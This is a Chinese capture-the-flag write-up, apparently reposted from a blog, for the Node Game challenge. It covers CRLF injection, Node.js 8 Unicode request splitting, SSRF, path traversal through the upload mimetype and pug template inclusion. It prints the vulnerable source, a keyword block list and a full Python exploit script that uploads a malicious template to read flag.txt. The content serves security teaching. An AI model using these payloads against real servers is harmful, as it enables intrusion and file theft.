[GYCTF2020]Node Game及知识点

news/2024/11/19 14:31:30/文章来源:https://www.cnblogs.com/roko/p/18347669

🚩crlf

  • 简介:CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),CRLF即回车换行,利用回车换行。因为HTTP协议中是用回车换行来界定头部和实体的,所以如果我们可以用回车换行来恶意拆分请求或者响应
  • 检测:CRLF注入漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中)所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。

🚩node.js:http请求路径中的unicode字符损坏

  • 前提:使用node.js向特定路径发送http请求,但是却被定向到不一样的路径

  • 简介:虽然用户发出的 http 请求通常是个字符串 string,但 Node.js 最终必须将请求以原始字节 raw bytes 输出,js 支持 unicode,这其中涉及到了 unicode 编码转换。对于不包含 body 的请求,Node.js 默认使用 latin1,它是单字节编码,不能表示高编号的 unicode 字符,比如 emoji 🐶

  • unicode原理:

🚩nodejs 的 HTTP 拆分攻击利用

  • 简介:由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。

  • 当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:

    > http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
    [ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
    
  • 但是当结果字符串被编码为 latin1写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):

    > Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
    'http://47.101.57.72:4000/\r\n/WHOAMI'
    
  • 原始请求如下:

    GET / HTTP/1.1
    Host: 47.101.57.72:4000
    …………
    
  • 当我们插入CRLF数据后,HTTP请求数据变成了:

    GET / HTTP/1.1POST /upload.php HTTP/1.1
    Host: 127.0.0.1
    …………GET HTTP/1.1
    Host: 47.101.57.72:4000
    
  • 构造http请求的脚本

    payload = ''' HTTP/1.1[POST /upload.php HTTP/1.1
    Host: 127.0.0.1]自己的http请求GET / HTTP/1.1
    test:'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)
    
  • 源代码

    var express = require('express');
    var app = express();
    var fs = require('fs');
    var path = require('path');
    var http = require('http');
    var pug = require('pug');
    var morgan = require('morgan');
    const multer = require('multer');app.use(multer({dest: './dist'}).array('file'));
    app.use(morgan('short'));
    app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
    app.use("/template",express.static(path.join(__dirname, '/template')))app.get('/', function(req, res) {var action = req.query.action?req.query.action:"index";if( action.includes("/") || action.includes("\\") ){res.send("Errrrr, You have been Blocked");}file = path.join(__dirname + '/template/'+ action +'.pug');var html = pug.renderFile(file);res.send(html);
    });app.post('/file_upload', function(req, res){var ip = req.connection.remoteAddress;var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only admin's ip can use it"res.send(JSON.stringify(obj));return }fs.readFile(req.files[0].path, function(err, data){if(err){obj.msg = 'upload failed';res.send(JSON.stringify(obj));}else{var file_path = '/uploads/' + req.files[0].mimetype +"/";var file_name = req.files[0].originalnamevar dir_file = __dirname + file_path + file_nameif(!fs.existsSync(__dirname + file_path)){try {fs.mkdirSync(__dirname + file_path)} catch (error) {obj.msg = "file type error";res.send(JSON.stringify(obj));return}}try {fs.writeFileSync(dir_file,data)obj = {msg: 'upload success',filename: file_path + file_name} } catch (error) {obj.msg = 'upload failed';}res.send(JSON.stringify(obj));    }})
    })app.get('/source', function(req, res) {res.sendFile(path.join(__dirname + '/template/source.txt'));
    });app.get('/core', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:8081/source?' + qconsole.log(url)var trigger = blacklist(url);if (trigger === true) {res.send("<p>error occurs!</p>");} else {try {http.get(url, function(resp) {resp.setEncoding('utf8');resp.on('error', function(err) {if (err.code === "ECONNRESET") {console.log("Timeout occurs");return;}});resp.on('data', function(chunk) {try {resps = chunk.toString();res.send(resps);}catch (e) {res.send(e.message);}}).on('error', (e) => {res.send(e.message);});});} catch (error) {console.log(error);}}} else {res.send("search param 'q' missing!");}
    })function blacklist(url) {var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];var arrayLen = evilwords.length;for (var i = 0; i < arrayLen; i++) {const trigger = url.includes(evilwords[i]);if (trigger === true) {return true}}
    }var server = app.listen(8081, function() {var host = server.address().addressvar port = server.address().portconsole.log("Example app listening at http://%s:%s", host, port)
    })
    
  • 按照路由来切分一下

  • 第一块路由:接收get请求传来的action参数,检查是否含有违法字符/、\,然后将其拼接到/template和.pug,接着再赋值给file变量,最后使用pug引擎渲染

    app.get('/', function(req, res) {var action = req.query.action?req.query.action:"index";if( action.includes("/") || action.includes("\\") ){res.send("Errrrr, You have been Blocked");}file = path.join(__dirname + '/template/'+ action +'.pug');var html = pug.renderFile(file);res.send(html);
    });
    
  • 第二块路由:/file_upload路由,该路由的功能是对ip地址作出限制,只能限制本地访问,并且设置req.connection.remoteAddress导致不能伪造请求头,所以考虑使用ssrf来绕过。upload功能:可以看到上传文件的存储路径是上传文件的mimetype类型来控制的,所以我们可以通过控制上传文件的mimetype来控制文件的存储路径,所以我们可以通过控制路径来达到路径穿越从而使得任意文件上传

    app.post('/file_upload', function(req, res){var ip = req.connection.remoteAddress;var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only admin's ip can use it"res.send(JSON.stringify(obj));return }fs.readFile(req.files[0].path, function(err, data){if(err){obj.msg = 'upload failed';res.send(JSON.stringify(obj));}else{var file_path = '/uploads/' + req.files[0].mimetype +"/";var file_name = req.files[0].originalnamevar dir_file = __dirname + file_path + file_nameif(!fs.existsSync(__dirname + file_path)){try {fs.mkdirSync(__dirname + file_path)} catch (error) {obj.msg = "file type error";res.send(JSON.stringify(obj));return}}try {fs.writeFileSync(dir_file,data)obj = {msg: 'upload success',filename: file_path + file_name} } catch (error) {obj.msg = 'upload failed';}res.send(JSON.stringify(obj));    }})
    })
    
  • 第三块路由:接收一个参数q,并对本地进行请求:url = 'http://localhost:8081/source?' + q,可以发现我们可以通过这里进行ssrf,而且题目也特别强调了 Node 版本为 8.12.0,那么就在网上一搜,发现这个版本的 Node 的 http 模块这里果然有漏洞

    app.get('/core', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:8081/source?' + qconsole.log(url)var trigger = blacklist(url);if (trigger === true) {res.send("<p>error occurs!</p>");} else {try {http.get(url, function(resp) {resp.setEncoding('utf8');resp.on('error', function(err) {if (err.code === "ECONNRESET") {console.log("Timeout occurs");return;}});resp.on('data', function(chunk) {try {resps = chunk.toString();res.send(resps);}catch (e) {res.send(e.message);}}).on('error', (e) => {res.send(e.message);});});} catch (error) {console.log(error);}}} else {res.send("search param 'q' missing!");}
    })
    
  • 攻击流程:

    • 对/core路由发起切分攻击,请求/core的同时还向/source路由发出上传文件的请求
    • 由于/路由是先读取/template/目录下的pug文件再将其渲染到当前界面,因此应该上传包含命令执行的pug文件;文件虽然默认上传至/upload/目录下,但可以通过目录穿越将文件上传到/template目录
    • 访问上传到/template目录下包含命令执行的pug文件
  • 攻击脚本

    import urllib.parse
    import requestspayload = ''' HTTP/1.1
    Host: x
    Connection: keep-alivePOST /file_upload HTTP/1.1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
    Content-Length: {}
    cache-control: no-cache
    Host: 127.0.0.1
    Connection: keep-alive {}'''
    body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
    Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
    Content-Type: ../templatedoctype html
    htmlheadstyleinclude ../../../../../../../flag.txt
    ------WebKitFormBoundaryO9LPoNAg9lWRUItA--
    '''
    more='''GET /flag HTTP/1.1
    Host: x
    Connection: close
    x:'''
    payload = payload.format(len(body)+10,body)+more
    payload = payload.replace("\n", "\r\n")
    payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
    print(payload)session = requests.Session()
    session.trust_env = False
    session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
    response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg')
    print(response.text)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/779384.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

收银台大讲究

支付不就是个收银台嘛?你一个页面怎么要干这么久?这可能是每个做支付的人遇到过得尴尬问题。其实这是微信、支付宝的收银台支付体验做的太好了,给普通人产生的错觉,以为收银台就是几张页面。当你被“野生收银台”制的服服帖帖的时候,你才会发现收银台有大讲究。这次不废话…

js语法

1.作用域 1.1 定于 作用域( scope)规定了变量能够被访问的“范围”,离开了这个“范围″变量使不能被访问 1.2 分类 1.2.1局部作用域 1.2.1.1 函数作用域 在函数内部声明的变量只能在函数内部被访问,外部无法直接访问。1.2.1.2 块作用域 在 Javascript中使用仆}包裏的代码称为代…

JavaSE基础知识分享(三)相关练习题

关于面向对象中的封装部分不知道大家掌握怎么样,快来看看这些题目你能很快写出来吗?写在前面 大家前面的面向对象部分学的怎么样了,快来看看这些题你能不能快速地写出答案,面向对象在Java中是非常重要的,快来检测你的薄弱点在哪,及时查漏补缺! 使用面向对象思想编写下列…

kali常用配置

用户须知 ❝ 1.免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式用户须知1.免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式的损失或损害,包括但不限于数据丢失、系统损坏、个人隐私泄露或经济损失…

SqlServer 主从复制错误分析--20598

十年河东,十年河西,莫欺少年穷 学无止境,精益求精 1、在分发服务器执行如下脚本select * from MSsubscriber_infoselect * from MSpublications 2、选择分发数据库-distribution,执行如下脚本 sp_helpsubscriptionerrors IZQY9C2TQSKGS9ZTEST ,DBTEST , DbPiblish ,iZzvz…

容器引擎-Docker

Docker是一个开源的应用容器引擎,可以轻松的为任何应用创建一个轻量级、可移植的、自给自足的容器。Docker类似于集装箱,各式各样的货物,经过集装箱的标准化进行托管,而集装箱和集装箱之间没有影响。也就是说,Docker平台就是一个软件集装箱化平台,这就意味着我们自己可以…

穿墙神器frp

背景 内网渗透需要 官网 https://github.com/fatedier/frp 当前最新版https://github.com/fatedier/frp/releases/tag/v0.59.0 部署 写两个简单的加入systemctl的脚本create_frps_service.sh #!/bin/bash install_path=$(cd $(dirname $0); pwd) frps_exec=$install_path/frps …

wpf 中的三个 UnhandledException

结构化异常处理 在异常点生成异常的结构体,异常分发 WPF中的三个Excption处理函数AppDomain::UnhandledException 事件属性 UI线程和Thread 实例的异常会触发该事件。Application::DispatcherUnhandledExcetion 事件属性 UI线程异常会触发该事件。如果事件的IsHandle=false,异…

19.python之自定义函数

python之自定义函数 一、函数的介绍 1、函数定义:函数是一个组织好,可重复使用,实现单一或联合的代码段。 2、函数作用:a、降低代码的冗余、b、增加代码的复用性 c、提高程序的拓展性 d、封装 二、python的结构三、函数的使用 1、格式: def 函数名 (变量): 执行语句 函…

洛谷P1480 A/B Problem

4.高精度除以低精度 题目叙述: A/B Problem 题目描述 输入两个整数 \(a,b\),输出它们的商。 输入格式 两行,第一行是被除数,第二行是除数。 输出格式 一行,商的整数部分。 样例 #1 样例输入 #1 10 2样例输出 #1 5提示 \(0\le a\le 10^{5000}\),\(1\le b\le 10^9\)。 代码…

condition字符串匹配问题

概述 freeswitch是一款简单好用的VOIP开源软交换平台。 fs使用dialplan配置文件执行业务流程,condition条件变量的配置是必然会使用的,这里记录一次配置过程中的错误示范。 环境 CentOS 7.9 freeswitch 1.10.7 问题描述 dialplan配置如下,本意是根据通道变量${poolType}的值…